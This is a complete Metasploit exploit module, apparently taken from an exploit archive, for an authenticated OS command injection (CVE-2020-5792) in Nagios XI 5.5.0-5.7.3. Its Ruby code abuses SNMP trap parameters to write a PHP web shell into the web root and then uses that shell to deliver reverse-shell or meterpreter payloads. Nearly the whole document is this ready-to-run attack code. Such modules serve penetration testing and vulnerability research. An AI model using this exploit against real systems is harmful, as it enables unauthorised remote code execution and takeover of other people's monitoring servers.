This Metasploit module exploits an OS command injection vulnerability in includes/components/nxti/index.php that enables an authenticated user with admin privileges to achieve remote code execution as the apache user. Valid credentials for a Nagios XI admin user are required. This module has been successfully tested against Nagios XI 5.7.3 running on CentOS 7.
2df6940f1d406eb594bb234456e3e6f5##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::NagiosXi
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Nagios XI 5.5.0-5.7.3 - Snmptrap Authenticated Remote Code Exection',
'Description' => %q{
This module exploits an OS command injection vulnerability in
includes/components/nxti/index.php that enables an authenticated user
with admin privileges to achieve remote code execution as the `apache`
user. The module uploads a simple PHP shell via includes/components/nxti/index.php
to includes/components/autodiscovery/jobs/<php_shell> and then
executes the payload as the `apache` user via an HTTP GET request to
includes/components/autodiscovery/jobs/<php_shell>?<php_param>=<cmd>
Valid credentials for a Nagios XI admin user are required. This module has
been successfully tested against Nagios XI 5.7.3 running on CentOS 7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Lyne', # discovery
'Erik Wynter' # @wyntererik - Metasploit'
],
'References' =>
[
['CVE', '2020-5792']
],
'Platform' => %w[linux unix],
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
'Targets' =>
[
[
'Linux (x86/x64)', {
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux',
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
[
'CMD', {
'Arch' => [ARCH_CMD],
'Platform' => 'unix',
# cmd/unix/reverse_awk is one of the few reliable CMD payloads for a typical NagiosXI install (CentOS 7 minimal).
# other options are cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_awk' }
}
],
],
'Privileged' => false,
'DisclosureDate' => '2020-10-20',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', nil])
]
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def finish_install
datastore['FINISH_INSTALL']
end
def check
# Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns
# an array containing the http response body of a GET request to index.php and the session cookies
login_result, res_array = nagios_xi_login(username, password, finish_install)
case login_result
when 1..3 # An error occurred
return CheckCode::Unknown(res_array[0])
when 4 # Nagios XI is not fully installed
install_result = install_nagios_xi(password)
if install_result
return CheckCode::Unknown(install_result[1])
end
login_result, res_array = login_after_install_or_license(username, password, finish_install)
case login_result
when 1..3 # An error occurred
return CheckCode::Unknown(res_array[0])
when 4 # Nagios XI is still not fully installed
return CheckCode::Detected('Failed to install Nagios XI on the target.')
end
end
# when 5 is excluded from the case statement above to prevent having to use this code block twice.
# Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here.
if login_result == 5 # the Nagios XI license agreement has not been signed
auth_cookies, nsp = res_array
sign_license_result = sign_license_agreement(auth_cookies, nsp)
if sign_license_result
return CheckCode::Unknown(sign_license_result[1])
end
login_result, res_array = login_after_install_or_license(username, password, finish_install)
case login_result
when 1..3
return CheckCode::Unknown(res_array[0])
when 5 # the Nagios XI license agreement still has not been signed
return CheckCode::Detected('Failed to sign the license agreement.')
end
end
print_good('Successfully authenticated to Nagios XI')
# Obtain the Nagios XI version
@auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already
nagios_version = nagios_xi_version(res_array[0])
if nagios_version.nil?
return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
end
print_status("Target is Nagios XI with version #{nagios_version}")
if /^\d{4}R\d\.\d/.match(nagios_version) || /^\d{4}RC\d/.match(nagios_version) || /^\d{4}R\d.\d[A-Ha-h]/.match(nagios_version) || nagios_version == '5R1.0'
nagios_version = '1.0.0' # Set to really old version as a placeholder. Basically we don't want to exploit these versions.
end
# check if the target is actually vulnerable
version = Rex::Version.new(nagios_version)
if version >= Rex::Version.new('5.5.0') && version <= Rex::Version.new('5.7.3')
return CheckCode::Appears
end
return CheckCode::Safe
end
def alert_exploit_attempt(payload_string)
payload_execution = "#{normalize_uri(target_uri.path, 'includes', 'components', 'autodiscovery', 'jobs', @php_log_file)}?#{@php_param}=<cmd>"
print_status("Attempting to execute the #{payload_string} via `#{payload_execution}`")
end
def upload_php_shell
# prepare the variables we need
@php_param = rand_text_alpha(1) # this does not work with longer parameters
php_shell = "<?php /* */system(/* */$_GET[\"#{@php_param}\"])/* */?>"
encoded_payload = Rex::Text.to_hex(php_shell)
encoded_payload.gsub!('\x', '') # get clean hex without the \x format
@php_log_file = "#{rand_text_alpha(8..12)}.php"
php_log_file_path = "/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/#{@php_log_file}"
register_file_for_cleanup(php_log_file_path)
# upload the shell
print_status("Uploading a simple PHP shell to #{php_log_file_path}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'includes', 'components', 'nxti', 'index.php'),
'cookie' => @auth_cookies,
'vars_get' =>
{
'custom-version' => '2c',
'generic-trap-option' => '0',
'specific-trap-option' => '',
'custom-agent' => '',
'custom-community' => "a -d -L f #{php_log_file_path}",
'custom-oid' => 'NET-SNMP-EXAMPLES-MIB::netSnmpExampleHeartbeatNotification',
'variablebindings[name][]' => 'x',
'variablebindings[type][]' => 'x',
'variablebindings[value][]' => encoded_payload,
'mode' => 'customTrap'
}
})
unless res
fail_with(Failure::Disconnected, 'Connection failed while trying to upload the PHP shell')
end
unless res.code == 200 && res.body.include?('var message = "Custom trap sent successfully!";')
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to upload the PHP shell')
end
end
def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'includes', 'components', 'autodiscovery', 'jobs', @php_log_file),
'cookie' => @auth_cookies,
'vars_get' => { @php_param => cmd }
}, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload
end
def exploit
upload_php_shell # upload a simple php shell that will be used to execute the payload
if target.arch.first == ARCH_CMD
alert_exploit_attempt('payload')
execute_command(payload.encoded)
else
alert_exploit_attempt('initial payload')
execute_cmdstager(background: true)
end
end
end